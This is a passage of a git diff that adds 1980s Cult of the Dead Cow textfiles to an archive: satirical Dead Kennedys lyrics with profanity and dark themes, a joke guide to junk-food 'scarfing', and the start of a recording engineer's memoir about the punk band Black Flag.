tickets + +As we ride, ride how we ride (3) +let's ride, lowride + + + ---TOO DRUNK TO FUCK--- + +Went to a party +I danced all night +I drank 16 beers +And I started up a fight + +But now I'm jaded +You're out of luck +I'm rolling down the stairs +Too drunk to fuck + +Too drunk to fuck +Too drunk to fuck +Too drunk to fuck +I'm too drunk, too drunk, Too drunk to fuck + +I like your stories +I love your gun +Shooting out truck tires +Sounds like loads and loads of fun + +But in my room +Wish you were dead +You ball like the baby +In eraserhead + +Too drunk to fuck +Too drunk to fuck +Too drunk to fuck +It's all I need right now +Too drunk to fuck + +Too drunk to fuck +Too drunk to fuck +Too drunk to fuck +I'm sick soft gooey and cold +Too drunk to fuck + +I'm about drop +My head's a mess +The only salvation is +I'll never see you again + +You give me head +It makes it worse +Take out your fuckin' retainer +put it in your purse + +I'm Too drunk to fuck +You're Too drunk to fuck +Too drunk to fuck +It's all I need right now Oh Baby +I'm melting like an ice cream bar +Oh Baby + +And now I got diarrhea +Too drunk to fuck +Yeah, Yeah +Yeah, Yeah +Yeah, Yeah +Oooohhh.......... + + + ---CALIFORNIA UBER ALLES--- + +(Biafra/John Greenway) + +I am governor Jerry Brown +My aura smiles +And never frowns +Soon I will be president..... +Carter power will soon go away +I will be Fuhrer one day +I will command all of you +Your kids will meditate in school +California Uber Alles +Uber Alles California +Zen Fascists will control you +100% Natural +You will job for the master race +And always wear the happy face +Close your eyes, can't happen here +Big Bro' on white horse is near +The hippies won't come back you say +Mellow out or you will pay +California Uber Alles +Uber Alles California +Now it is 1984 +Knock Knock at your front door +It's the suede/denim secret police +They have come for your uncool niece +Come quietly to the camp +You'd look nice as a drawstring lamp +Don't you worry, it's only a shower +For your clothes here's a pretty flower.... +Die on organic poison gas +Serpent's egg's already hatched +You will crack, you little clown +When you mess with president brown +California Uber Alles +Uber Alles California + + + ---THE MAN WITH THE DOG--- + +(Biafra) + +I am none +But I'm well known +For I am the man with the dogs +I stare at you shopping +Watch while you're walking +Two dogs run around your toes +You turn around +Two eyes break you down +Now, who does that guy think he's starin' at +Stop in your tracks +You're being laughed at +Your armored ego is nude +And I do and I do +Crack up 'cos I'm getting to you +I see you I see you +And you're pretty self-conscious too +Down to your church +I'm looking for victims +Spell of the man with the dogs +I'll haunt you +And follow you to work +That ghost is back again +Creep into you +I won't go away +You're taking yourself too seriously +I smile as you frown +And turn to walk away +Your habits for all to see +I see a shrew +I see you +And the rodent things you do +You see you I see you +And you're pretty self-conscious too +And I'm gonna crack your mask +Yeah and I'm gonna laugh +Open wide.... +See you again +You'll see me tomorrow +Curse of the man with the dogs +You may not like me +You won't forget me +Not safe even in Walgreens +They've seen me ask your friends +"Oh I know him" +Seen but never heard +By your lot +A stare +Is worth a thousand biting phrases +See how stupid you are? +I dare you I dare you +To erase my lasser tattoo +You see you you see you +And you're pretty self-conscious too +And I'm gonna crack your mask +Yeah, and I'n gonna laugh +What's inside? +Is it pubic hair +Is it cobweb air +I bet you just don't care...... + + + ---INSIGHT--- + +(Biafra) + +Who's that kid in the back of the room +Who's that kid in the back of the room +He's setting all his papers on fire +He's setting all his papers on fire + +Where did he get that crazy smile +Where did he get that crazy smile +We all think he's really weird +We all think he's really weird + +We never talk to him +He never looks quite right +He laughs at us +We just beat him up +What he sees escapes our sight + +We never see him with the girls +We never see him with the girls +He's talking to himself again +He's talking to himself again + +Why doesn't he want tons of friends +Why doesn't he want tons of friends +Says he's bored when we hang around +Says he's bored when we hang around + +We never talk to him +He never looks quite right +He laughs at us +We just beat him up +What he sees escapes our sight + +We're all planning our careers +We're all planning our careers +We're all planning our careers +He says we're growing old..... + + + ---LIFE SENTENCE--- + +(Biafra) + +You used to be a partner in crime +Now you say you ain't got the time +Gotta get serious, gotta plan +Gotta pass those entrance exams + +Oh My God +It's Senior Year +All you care about is your career + +It's a life sentence +It's a life sentence +It's a life sentence +It's a life sentence + +You're squelching your emotions +All you talk about is old times +You don't do what you want to +But you do the same thing everyday + +No sense of human +But such good manners +Now you're an adult +You're Boring + +It's your life sentence +It's your life sentence +It's your life sentence +It's your life sentence + +The walls are closing in +You stayed too long in school +I'd rather stay a child +And keep my self-respect +If being an adult +Means being like you + +Are you really you you you +You you you you you you +Are you really you? +No + +You're a chained-up dog fenced in a yard +Don't see much, you can't go far +Pace & Froth, you're getting sick +Run too fast it'll snap your neck + +You say you'll break out +But you never do +You're just another ant in the hill +That's your life sentence + + + -A CHILD AND HIS LAWNMOWER- +(Biafra) + +Some clown in Sacrament was dragged into court +He shot his lawnmower +It disobeyed, it wouldn't start +Might makes right, it's the American way +They fined him $60 and sent him on his way +You know; some people don't take no shit +Maybe if they did they'd have half a brain left + + + -HOLIDAY IN CAMBODIA- +(w-Biafra/m-Biafra,Ray,Flouride,Slesinger) + +So you been to school for a year or two +And you know you've seen it all +In daddy's car thinkin' you'll go far +Back east your type don't crawl +Play ethnicky jazz to parade your snazz +On your five grand stereo +Braggin that you know how the niggers feel cold +And the slums got so much soul +It's time to taste what you most fear +Right Guard will not help you here +Brace yourself, my dear + +It's a holiday in Cambodia +It's tough, kid, but it's life +It's a holiday in Cambodia +Don't forget to pack a wife + +You're a star-belly sneech you suck like a leech +You want everyone to act like you +Kiss ass while you bitch so you can get rich +But your boss gets richer off you +Well you'll work harder with a gun in your back +For a bowl or rice a day +Slave for soldiers til you starve +Then your head is skewered on a stake +Now you can go where people are one +Now you can go where they get things done +What you need, my son..... + +Is a holiday in Cambodia +Where people dress in black +A holiday in Cambodia +Where you'll kiss ass or crack +(Chant) Pol pot/pol pot/pol pot/pol etc. + +And It's a holiday in Cambodia +Where you'll do what you're told +A holiday in Cambodia +Where the slums got so much soul + + + -NIGHT OF THE LIVING REDNECKS- + +Words & Music improvised by Biafra/Flouride/Slesinger while Ray was changing guitar strings. Recorded live by persons unknown at the earth tavern, Portland Oregon on November 19, 1979. + + + -I FOUGHT THE LAW- +(Sonny Curtis/New Lyrics Biafra) +(Published by Acuff-Rose Opryland Music Inc.) + +Drinkin' beer in the hot sun +I fought the law and I won +I needed sex and I got mine +I fought the law and I won + +The law don't mean shit if you've got the right friends +That's how this country's run +Twinkies are the best friend I've every had +I fought the law +And I won + +I blew George and Harvey's brains out with my six-gun +I fought the law and I won +Gonna write my book and make a million +I fought the law and I won + +I'm the new folk hero of the Ku Klux Klan +My cop friends think that's fine +You can get away with murder if you've got a badge +I fought the law +And I won +I am the law +So I won + + + -SATURDAY NIGHT HOLOCAUST- +(Words: Biafra; Music: Dead Kennedys) + +There's a prefab building and a funny smell +Around the hill outside of town +Every now and then we wonder +But we shrug out shoulders +And get back to work + +There's a railroad there and trains go by +And there's people locked in cattle cars +And have you noticed the french fries at the A & W +Taste a little strange?. . . + +I drive down to the disco +Pompadour and pink lame +I bow and blow the doorman +He parts the chain, says "Join the game" + +A quick line in the girls' room +To the bar for the electrodes +A coin in the right slits +Tape my temple, watch me go! + +Blacks are banned, 'cept on the records +O' life's a cabaret +Like Berlin, 1930 +All I crave is my escape + +Now I want your perfect barbie-doll lips +And I want your perfect barbie-doll eyes +Slip my fingers down your barbie-doll dress +Up and down your spandex ass + +If I lit a match to you +You'd melt before my eyes +C'mere my pretty glow-worm +You look so fine to dance with me + +The fly-eye lights are throbbin' +I'm burnin' up the floor +Whirling twirling +Close my eyes +No faces judging me + +A Hitler youth in jogging suit +Smiling face banded 'round his arm +Says, 'Line up, you've got work to do' +We need dog food for the poor + +A scream bleats out, we're herded into lines +Customized vans wait outside +I'm getting scared of my new home +To Auschwitz Condominiums we go + +Oh No + +Now I want your perfect barbie-doll lips +And I want your perfect barbie-doll eyes +Let my fingers down you dress +One more time.... + + + -PULL MY STRINGS- +(Bra/Slesinger) + +I'm tired of self respect +I can't afford a car +I wanna be a tool +Don't need no soul +Wanna make big money +Playing rock and roll + +I'll make my music boring +I'll play my music slow +I ain't no artist, I'm a businessman +No ideas of my own + +I won't offend +Or rock the boat +Just sex and drugs +And rock and roll + +Drool, Drool, Drool, Drool, Drool, Drool...My Payola! +Drool, Drool, Drool, Drool, Drool, Drool...My Payola! + +You'll pay ten bucks to see me +On a fifteen foot high stage +Fatass bouncers kick the shit +Out of kids who try to dance + +If my friends say +I've lost my guts +I'll laugh and say +That's rock and roll + +But There's just one problem..... + +Is my cock big enough +Is my brain small enough +For you to make me a star + +Give me a toot +And I'll sell you my soul +Pull my strings and I'll go far + +And when I'm rich +And meet Bob Hope +We'll shoot some fool +And shoot some dope + +Is my cock big enough +Is my brain small enough +For you to make me a star + +Repeat.... Etc... + + + -SHORT SONGS- +(6025) + +I like short songs +(reapeat 13 times) + + + -STRAIGHT A'S- +(Words: Biafra; Music: 6025) + +Sixteen, on the honor roll +I wish that I was Dead +Parents hate me, I got zits +And bruises 'round my head + +Pressure's on to get good grades +So I can be like them +Do my homework all the time +I can't go out just then + +People they ain't friends at all +They tease me and suck me dry +Yell at me when I fuck up +And party while I cry +I look so big on paper +I feel so fucking small +Wanna die and you don't care +Just stride on down the hall + +Suicide Suicide +Read the paper, wonder why +Turn the light out, then you cry +It's your fault, you made me die + +Touch me won't you touch me now +So frozen I can't love +When I was born my mama cried +And picked me up with gloves + +Girls, they kick me in the eye +Want answers to the tests +When they get them they drive off +And leave me home to rest + +Hold my head +Make me warm +Tell me I am loved +Give me hope +Let me cry +Make me feel +Give me touch + +The window's broken bleeding screaming +Lying in the hall +I'm gone no one remembers me +A picture on the wall +"He was such a bright boy +The future in his hands..." +Or a spineless human pinball +Shot around by your demands + +Suicide Suicide +Goin' to sleep and when I die +You'll look up and realize +Then look down and wipe your eyes +And go back to your stupid lives +Aw Shit + + + -KINKY SEX MAKE THE WORLD GO 'ROUND- +(Words:Biafra; +Music:Biafra/Flouride/Ray/Peligro) + +Greetings...This is the secretary of war at the state department of the United +States....We have a problem, the companies want something done about this +sluggish world economic situation....Profits have been running a little thin +lately and we need to stimulate some growth....Now we know there's an +alarmingly high number of young people roaming around in your country with +nothing to do but stir up trouble for the police and damage private property. +It doesn't look like they'll ever get a job....It's about time we did something +constructive with these people....We've got thousands of 'em here too. They're +crawling all over....The companies think it's time we all sit down, have a +serious get-together--START ANOTHER WAR......The president? He loves the idea! + All those missiles streaming overhead to and fro....Napalm....People running +down the road, skin on fire....The Soviets seem up for it....The Kremlin's been +itching for the real thing for years. Hell, Afghanistan's no fun....So whadya +say?.....We don't even have to win this war, we just want to cut down on some +of this excess population.....Now look. Just start up a draft: draft as many +of those people as you can. We'll call up every last youngster we can get our +hands on, hand 'em some speed, give 'em an hour or two to learn how to use an +automatic rifle and send 'em on their way.....Libya??? El Salvador? How 'bout +northern Ireland? Or a "moderately repressive regime" in South America?.... +We'll just cook up a good Soviet threat story in the Middle East--We need that +oil.... We had Libya all ready to go and Colonel Kjadafy's hit squad didn't +even show up, I tell ya....That man is UNRELIABLE. The Kremlin had their +fingers on the button just like we did for that one...Now just think for a +minute--We can make this war so big--so big....The more people we kill in this +war, the more the economy will prosper...We can get rid of practically +everybody on your dole queues if we plan this right. Take every loafer on +welfare right off our computer rolls....Now don't worry about those +demonstrations--just PUMP UP YOUR DRUG SUPPLY. So many people have hooked +themselves on heroin and amphetamines since we took over, it's just like +Vietnam. We had everybody so busy with LSD they never got too strong, kept +the war functioning just fine. It's easy, we've got our college kids so +interested in beer they don't even care if we start manufacturing germ bombs +again. Put a nuclear stockpile in their back yard, they would't even know what +it looked like.....So how 'bout it? Look--WAR IS MONEY. The arms +manufacturers tell me unless we get our bomb factories up to full production +the whole economy is going to collapse....The Soviets are in the same boat. We +all agree the time has come for the BIG ONE, so whadya say?!?....That's +excellent. We knew you'd agree....The companies will be very pleased. + + + -THE PREY- + +You're from out of town +I can tell that by your shoes +Flew in for the convention +Getting tipsy in a bar + +You're leavin' pretty late +Gotta get up in the morning +Thinking she's just too expensive +And you know you're... +Probably.... +Right! + +There's no one on the streets +And you can't find your hotel +You walk a little faster +--Someone's following you + +The wallet-size bulge +In your double-knit butt +Has money for me +And maybe credit cards + +You dart around the next corner +You can't look around +Quick now, fish for the keys +For the door +You don't even know where you are + +You walk a little faster +I walk a little faster +Sensing that I sense you +Now there's no escape + +I can almost taste your dandruff +As I reach for your face +--And I strike + + + -BUZZBOMB FROM PASADENA +(Words: Biafra; Music: Ray & Biafra) + +Buzzbomb Buzzbomb macho-mobile +The road's my slave, that's how I feel +I cruise alone, I cruise real far +Shoo young punk! I love my car + +Cross Nevada at 110 +Highway 50 and there's nobody there +Sign says, "Next sign 30 miles!" + +My pension comes-- +Each penny saved buys more escape from home +I'd rather carouse around all day +Than move into a home + +Plow through rest area san-o-lets +Splat goes the lonely salesman +Still wanking in the men's room... + +Buzzbomb Buzzbomb tape up loud +Lawrence Welk cranked up to 10 +Faster Faster in my car + +Buzzbomb is my pride and joy +King of the trailer court +Waiting for a nice young man +Who'll love me for my car + +Who tells me why I'm cool +Tell me just what I like +When I pretend he's here + +Shred through palm springs across the golf course +Cops 'round here scratching their heads +Flashing sirens, state patrol.....Uh Oh + +They're scuffing up the side of my car +They're shooting out my tires +This ain't no way to go to heaven +Buzzbomb cornered at the 7-11 + +------------------------------------------------------------------------------- + +This shit is copyrighted 1979,1980,1981,1982,1986,1987 by Decay Music (BMI) + +=============================================================================== + (c)1988 cDc communications by Suicidal Amoeba 1/0/88-34 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0035.txt b/textfiles.com/groups/CDC/cDc-0035.txt new file mode 100644 index 00000000..0cc7c9b6 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0035.txt @@ -0,0 +1,236 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + SCARFING + + by Suicidal Amoeba + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +INTRODUCTION TO SCARFING +------------ -- -------- + +scarf: v.(scarf-scarfium(LA)) 1. to eat +scarfer: n. 1. one who is learned in the art of scarfing +scarfable: n. 1. an object of food + + +HOW TO (general) +--- -- --------- + +START: Go to the kitchen and look around.. Find spagettios, pop tarts, ice +cream, picante sauce, soup, or any other type of food. Throw it all together +in a bowl. Stir it around. Put it in the microwave if necessary. Turn on +the TV. Be a couch potato. Eat. Enjoy. + + +HOW TO (specific) +--- -- ---------- + +Spagettios +---------- + + excellent beginning scarfable + (see recipe section for more details) + + +Ice Cream +--- ----- + + Excellent for scarfing. The best way to go about this is get a really big +bowl, fill it about 3/4 full of ice cream. Put the ice cream away. Look +through the cabinets for anything that looks good: lemon pepper, ketchup, +relish, salad dressing, spagettios, chocolate sauce, chocolate chips, coconut, +picante sauce, crushed oreos, cat food, bologna, jello mix, whipped cream, +anything at all. Put it all in the bowl. Put the bowl in the microwave for +about 23 seconds. Stir this all around. Scarf. + + +Pop Tarts +--- ----- + + Open box of pop tarts. Scarf. The pop tarts with frosting are recommended. + + +Hot Dogs +--- ---- + + Good. Develops into more advanced scarfing. Finer points of scarfing hot +dogs include salad dressing, ketchup, relish, picante sauce, and mayo all at +the same time on one hot dog....the difficult part that makes this advanced +scarfing is to eat this while not losing any of the sauce. + + +Microwave Pizza +--------- ----- + + Quite good, for added excitement while scarfing look in the refrigerator +and put extra cheese on pizza.. or whatever....ketchup, salad dressing, etc. + + +Soup +---- + + The kind that comes in the plastic wrappers for about 5/$1 is recommended. +Buy some bullion also. Cook with bullion & picante sauce...also anything else +you can find....oreos, spagettios, etc... + + +Pudding +------- + + Beginning scarfable. Mix up mix, add whatever. Extremely simple + + +RECIPES +------- + +This is a typical scarfers recipe: + + + SPAGETTIOS + +Need: 1 Can Spagettios + 1 Microwave + 1 Microwave safe bowl + 1 Can Opener + 1 Spoon + +Directions: + + Use can opener to open can of spagettios. Pour entire contents of can into +microwave safe bowl. Put microwave safe bowl into microwave safely. Put +microwave on 3 minutes 14 seconds. When microwave dings take microwave safe +bowl out of the microwave safely. Take the lid off the microwave safe bowl. +Stick finger in the middle of the spagettios. If your finger is burned than +the spagettios are done. If you finger doesn't get burned, then the +spagettios aren't done so put the microwave safe bowl back into the microwave +for 32 seconds. Check the spagettios again. After you determine that the +spagettios are done, stick a spoon in the spagettios and scarf. + + +QUIZ +---- + + Hopefully, after reading this, you are at least beginning to understand +scarfing. Now here's your chance to see how you measure up... + + +1) Would a scarfer eat lasagna? + + a) yes, at a fancy restraunt in a tux + b) yes, if it was microwaved and he was watching TV + c) yes, if it was either that or spagettios & ice cream + d) no + +2) Can a scarfer be a vegetarian? + + a) yes, hot dogs are gross + b) yes, as long as he eats extra spagettios to make up for the hot dogs + c) yes, what does that have to do with food? + d) no + +3) What goes well with ice cream? + + a) bananas and cherries + b) anything + c) anything except pizza + d) ice cream is fattening + +4) Does a scarfer have cable TV? + + a) yes, especially the Disney Channel + b) maybe, if he has enought money left from going to the grocery store + c) maybe, if his mom will let him + d) no, cable is bad for your eyes + +5) Does a scarfer have a problem eating? + + a) yes, it's to messy + b) yes, there's two hands but only one mouth + c) yes, anorexa nervousa + d) no + +6) Are there poseur/poser scarfers? + + a) poseur? + b) yes + c) scarfer? + d) no + +7) Does a scarfer like school? + + a) no, it's boring + b) no, they don't serve spagettios in the cafeteria + c) no, it's not long enough + d) yes + + +8) Does a scarfer care about nutrition? + + a) yes, it is very important + b) yes, a scarfer makes sure he gets plenty of helpings from each of the + four food groups + c) yes, mom makes him + d) no + +------------------------------------- + +There you have the questions... Now... Here's how to score yourself: + +For each answer "B" give yourself 5 points and go get something to eat +For each answer "A" or "C" think about eating something +For each answer "D" subtract 50 points and slap yourself. + + +If your score is: + + 40- 100 Go back and re-add your score.... + 0- 40 Pretty good... You shouldn't be too hungry. You are a scarfer. + -99- 0 Reread this file... Go to the kitchen and throw everything in one bowl and eat it.. Take the quiz again. +-400--100 Forget it + + +------------------------------------- + +--MISCELLANEOUS END-OF-FILE BS + + +This file was brought to you by Suicidal Amoeba with help from David +Letterman, Eddie Van Halen, and Steve Martin. + +Not Very Produced by Metallica + +This file is official property of the Cult of The Dead Cow, and should be +respected as such. HA! + +All rights reserved... + +(This includes your right to freedom of the press so go ahead and press this + anywhere you want.) + +Ronald Reagan says "Moooo....." + +Warning: Unauthorized reproduction is a violation of all applicable laws. One +side of this text file may be of longer duration than the other in order to +preserve the album continuity. + ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +Call these s00per-d00per k-radikalizzt boardzzz.... + +(806) 763-2222....Time/temp man..AE/CF/BBS..CDC.. +(806) 743-9911....Ambulance Service..TAC......... + +=============================================================================== + (c)1988 cDc communications by Suicidal Amoeba 1/0/88-35 + All Rights Worth Not Very Much At All + diff --git a/textfiles.com/groups/CDC/cDc-0036.txt b/textfiles.com/groups/CDC/cDc-0036.txt new file mode 100644 index 00000000..1d739bc4 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0036.txt @@ -0,0 +1,313 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + On BLACK FLAG... + + by David Tarling + (typed: Suicidal Amoeba) + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +This text is from the back cover of the Black Flag album, 'Everything Went +Black'. It's the words of David Tarling, recording engineer, and talks of his +experiences with Black Flag in their heydey as one of the best of the earlier +hardcore bands in the U.S. + +------------------------------------------------------------------------------- + +"We were all surfers. We had skateboards. Rollerskating, too, up and down the +Strand. It made sense to revolt eventually..." + +OK. Here's where the Bop drops like big drum solos being played way out there +beyond the horizon, far past the waves pounding out the suburban rhythm of +Hermosa Beach. Y'see this is what a lot of the Black Flag thing means to me." + +Back in the mid-70's this dog gave up on the overly-glittered rock 'n' roll +world of Hollywood. In Jermosa Beach I embarked upon my current engineering +activities (please, let's not call it a career!) when i discovered Media Art, +a recording studio under construction. So there I was fulfilling one of my +biggest dreams. But on the other hand there I was recording some absolutely +godawful music played by people with absolutely no talent. And then there was +the wonderful Disco Era! Yuk! But that's the life of a studio staff engineer, +uh, what the hell! + +So what about Black Flag? Sometime in 1976 I began writing music reviews for +the local newspaper (Easy Reader) in an attempt to supplement my nonexistent +income. This is when I first encountered Greg Ginn who was one of the +strangest people I had ever met in the South Bay. Here was someone totally out +of step with the sunshine and the surf and the skateboards, and although you +did have your outcast types who blended into the environment he even seemed out +of step with them. But leave it to my knack of communicating with these +strange individuals. Greg and I ended up in many discussions on music. + +One night we got into a particularly opinionated discussion about one of my +reviews. During the course of it he said how he wanted to start his own band. +I thought: "What? This geek in a band?" So I asked: "What kind of band?" He +answered: "A punk band." That was it! I couldn't hold it back! I laughed in +his face and said: "That's the most ludicrous thing I've ever heard!" But the +geek didn't blink. He just kinda twitched a little without seeming any less +determined. Oh, what the hell? That was my first real encounter with a music +that I considered to be a lotta noisy bunk (Yeah, I admit it. Back then I was +into the progresso-sophisto music thing.) Anyway, Greg and I continued our +association and one day he loaned me the Ramones' first album which I thought +was great. Not quite a religious musical experience, the Ramones at least had +an overload of grinding chainsaw noise and straightforward rock 'n' roll 4/4 +energy. Y'know, the kinda stuff that was missing from modern music. I loved +to play it for people. I like to watch them cringe... + +Transition: 76-77 About this time Ginn formed his first band, a 4-piece unit +which was minus one member. Greg invited me to play bass with them and I +accepted. Sure, it's something to do. The band rehearsed deep within the +bowels of the Hermosa Bath House. So one night I walked down to the Strand, +banged on the door and went in. Greg gave me this funky cheapo bass guitar and +I plugged it in. He picked up his guitar and started playing loud distorted +atonal riffs and I cringed and wondered what I was doing in this dank decrepit +dungeon with these strange cretins. The band had a total of six songs, each of +which lasted no longer than one minute. Greg showed me the simple repetitive +chords--"Ok, do you want to try it?" + +Sure, why not. "Ok, here we go, 1-2-3-4!! and BANG!! the drummer started +smashing out a fast trashy straight 4 pattern and the wiry little singer +started bellowing and jumping around wildly and Greg's body lurched forward as +he underwent a remarkable transformation from Jeckyl to Hyde. His head shook, +eyes flashed and teeth bared maniacally as he began to grind thick chords out +of a guitar that in the shadowy light could have been mistaken for a chainsaw. +Within seconds it was over. Jeckyl calmly stepped out of his Hyde as if +stepping out of routine nightmare. + +"You want to try it again?" "Uh, uh, uh, uh, uh, well uh, yeah...." I was +dumbfounded, shocked, my eyes wide in amazement, my mouth hanging open in +disbelief. We played again. 1-2-3-4!! Jeckyl became Hyde, Music became +noise. Punk rock became a resident of Hermosa Beach. + +Ten minutes later we had played the entire six song set twice. + +Within a week Chuck Dukowski had joined the band as the permanent bass player. +I continued on with my recording activities and eventually convinced the band +to record their first record at Media Art, which they did in early '78. Being +still an apprentice engineer my involvment in the Nervous Breakdown sessions +was limited to setting up microphones and later running some rough mixes for +the band. + +"...using the record as a badge of legitimacy we were finally able to get our +first L.A. club gigs. The first was a two night stand at the Bla Bla Cafe. +The club hated us and our friends who had come to hear us. They cancelled the +second night and refused to pay us. Our second was with another South Bay +band. The Last, at the Honk Kong Cafe in Chinatown. We played anywhere and +everywhere we could and plastered the city with our posters and etc. with a +literal vengence.." -C.D. + +From '77 to '79 I was fanatically involved with radical rollerskating of the +vertical kind and, except for studio work and photography, I did almost nothing +else. Some of the sessions I did during this period were early Dangerhouse and +Posh Boy projects, jazz sessions and, of course, the usual godawful disco shit. +And it was when most of my rollerskating friends turned to learning (ugh!) +disco steps that I said later with noise! + +"By its very nature Civilization dictates the need for undisciplined +acts."--"Beyond every horizon is an expanding Universe that grows out of tune, +out of sink with itself. Harmony No Harmony Jazz Uncontrolled Expansion The +only universal order is questionable. It may not exist...it probably doesn't +exist at all,"--"In a recording studio Jazz and Punk can be very similar. The +performances are often brilliant though lacking in polish."--"When in doubt go +directly to Punk, Do not pass Jazz, do not collect $200 in Disco chips."- + -exerpts from the continuing SPOT journal + +So there I was gone back to basics, back to music, back to a new insanity, and +to Polliwog Park. This was the gig that made me want to "produce Black Flag's +album before they get killed." + +"...People threw everything from insults to watermelons, beer cans, ice, and +sandwiches at us. Parents emptied their ice chests so that their families +could throw their lunches....Robo's shiny head made a great target...Afterwards +I enjoyed a lunch of delicatessen sandwiches which I found still in their +wrappers..." -C.D. + +Yeah, a whole brand new insanity. Shortly after the Polliwog gig I fell asleep +in my house while the exterminators were spraying for bugs and nobody knew I +was there. True story. I don't think I've ever recovered all the parts of my +brain since then, but so what! I had the Black Flag album to work on so it +really didn't matter. + +The first session was nothing more than having the band tape a live rehearsal +in the studio. A few weeks later came the real thing. One night while laying +down the basic tracks of "No Values" we had one of Greg's guitar cabinets out +in the echoey hallway turned up full blast at 4:00in the morning with both +kitchen windows open onto the still night air. That was enough to bring at +least one complaint. So without further ado two night prowling cops invited +themselves up by uninvited means. Some could call it breaking-and-entering, +others could call it whatever they want, but Greg insisted that he had closed +the door behind him when he last came in. As the cops were exiting they asked: +"What band is this?" I should have said something other than Black Flag +because they rejoined with "Ah, yes! We've seen their graffiti on the Edison + wall!" + +Once they were gone I immediately deadbolted the front door, closed the kitchen +windows and helped Greg put an attuator on the cabinet in the hallway. We then +went on with another take of "No Values". The next day while analyzing the +previous night's tracks I was certain I could detect the sound of footsteps in +the hallway and the moment when one of the cops opened the studio door. + +That's how "Jealous Again" started. Immediately after recording all the basic +tracks Johnny Bob left the band. + +"...He decided he never wanted to sing again. He smashed his records and +guitar and walked out disapperaing for a week. He told me he had quit for good +and had no intention of finishing the album..." -C.D. + +I had a real nervous breakdown. Then Chavo was picked as a replacement but he +was nowhere near ready to record and the tapes sat on the shelf for months. We +resumed recording when Chavo was ready but by that time he developed an +annoying practice of walking out of the session in mid-take. Very +disconcerting. He quit completely in a dramatic walk-off during a gig at the +Fleetwood. + +"...When he sang Jealous Again he had just gotten back from the hospital where +one of two girls fighting over him was recovering from a bottle broken over her +head. It seemed to help him understand..." -C.D. + +"...No food, love, beer, and ego drove poor Chavo crazy..." -C.D. + +-"I'd rather live in interesting exciting times than in placid dull times." + -Joe Nolte (The Last) + +The days of the Fleetwood were an incredible experience. The epitomy of the +Hate-Kill-Destroy "Ethic" where the Huntngton Beach types reigned. The H'Bers +were all leather jackets, chains, macho, bloodlust, and bravado, and exhibited +blatantly stupid military behavior. It was never a dull moment. There was a +mass brawl every five minutes and as stage manager I had a chance to witness +them all. Sure, the fights were quite pointless but they were determined to +happen. Face it, there were those destined to throw the punches and there +were those destined to be on the receiving end and a lot of us were destined to +watch it all happen. But forget about the simple answers. It was a real life +situation being played out with real life characters who dripped real life +blood. John Lennon was once quoted as saying something to the effect of: If +there were no fights, It was not a good gig. + +When Chavo quit in the midst of BF's set he threw down the mike, jumped +offstage, and for a while no one knew what to do. Neither did the band. +Imagine: hundreds of edgy, uncertain punks ready to use any excuse to create +mass violence; the remaining members of BF sitting dumbfounded onstage: I was +about ready to grab the mike and tell everyone to "Go Home." Greg told me: +"no, we're going to play." They resumed playing. Some young kid jumped +onstage, grabbed the mike and started singing "Nervous Breakdown" All +hell broke loose. A couple of other kids jumped onstage and started fighting +over the mike. A guy named "Snikers" (ex-lead singer for the "Simpletones") + jumped up and began singing "Louie Louie" and then proceeded to perform a most +disgustingly drunken striptease during which cans, bottles, spit, sweat, and +bodies began flying with a vengeance. It was the finest rock & roll show I had +ever seen. + +The ensuing Black Flag shows were just as inspiring. Considering the fact that +they had no vocalist, anything was bound to happen. "Guest" vocalists took the +stage and many of these people bragged up and down the west coast how they were +Black Flag's " new singer." + +A few weeks after Chavo quit he and the band arrived at a mutual decision to +complete the project. Recording the vocals in a posthumous manner Chavo was +suprisingly cooperative and I was moved to remark: "This is so easy now! Why +didn't you quit the band before this?" + +"...We also were thinking that a friend of ours would be a good addition to the +band. Dez joined as guitarist and we decided to try him on vocals if he could +pull it off..." -C.D. + +Summer '80 and Dez became the new singer. In later July BF was kicked out the +Church in a crazy melee that easily brought the police forces of three South +Bay Cities to the scene but not before the band had split said scene to +eventually resurface in Torrance. + +So "Jealous Again" was still not completed and had taken on a really +sisyphus/Pride and the Passion-type felling. I mean I had nothing better to do +than remix a song here, remix a song there "just for practice", and one night, +about a week after he had joined VF, I took Dez up into the studio as kind of +an experiment "just to hear what it sounds like, y'know." We put down a vocal +on "Jealous Again," made a fast mix, and damned if I didn't try to talk Greg +and Chuck into redoing all the vocals on all the songs with Dez. Well they +didn't want to do that. We recorded a few more of Dez's vocals but eventually +released "JA" with the Chavo tracks. Finally! More than a year after the +project was begun! + +The above should therefore explain why there are so many different versions of +so many songs with all three singers. Needless to say, remixing some of these +tracks two years later was like an audio treasure hunt. + +The latter half of '80 was also ripe with some of the wildest, craziest, +"police participation" gigs. Y'know, the Black Flag "Creepy Crawl" era that +prompted all the major and minor newsservices to jump onto the coverage of the +good ol' "PUNK ROCK VIOLENCE" issue. + +F'rinstance: At the infamous Baces Hall gig in East Hollywood I was once again +acting as stage manager. Outside the hall was a state of near pandemonium with +hundreds of punks milling about, dozens of cops wanting to shut the place down, +photographers, reporters, and TV cameras waiting for the inevitable riot. +Inside the hall existed a state of real pandemonium which I was trying to hold +together. At one point I was given the thankless job of announcing that "The +LAPD riot squad is outside and we have to shut it down! Black Flag will not be +able to play!" To which I was showered with angry "Fuck You's!", beer cans and +bottles with or without their contents, and hundreds of warm slimy globules of +spit. I then thought: "Well maybe I can talk the cops out of stopping the +show." I pushed through the thick sweaty crowd and under the icy, quivering +light of the circling helicopter I somehow managed to convince the officer in +command to let Black Flag play a short set. Which they did. The cops then +came inside and joined the party. + +Of course, not content with in-town destruction, Black Flag took their unique +brand of Creepy Crawlism across the country in December of '80 on their first +U.S. tour. By this time I had "volunteered" as BF's full-time live soundman. +Whatta job, lemme tell ya! Have you ever tried to mike a 100-megton blast? 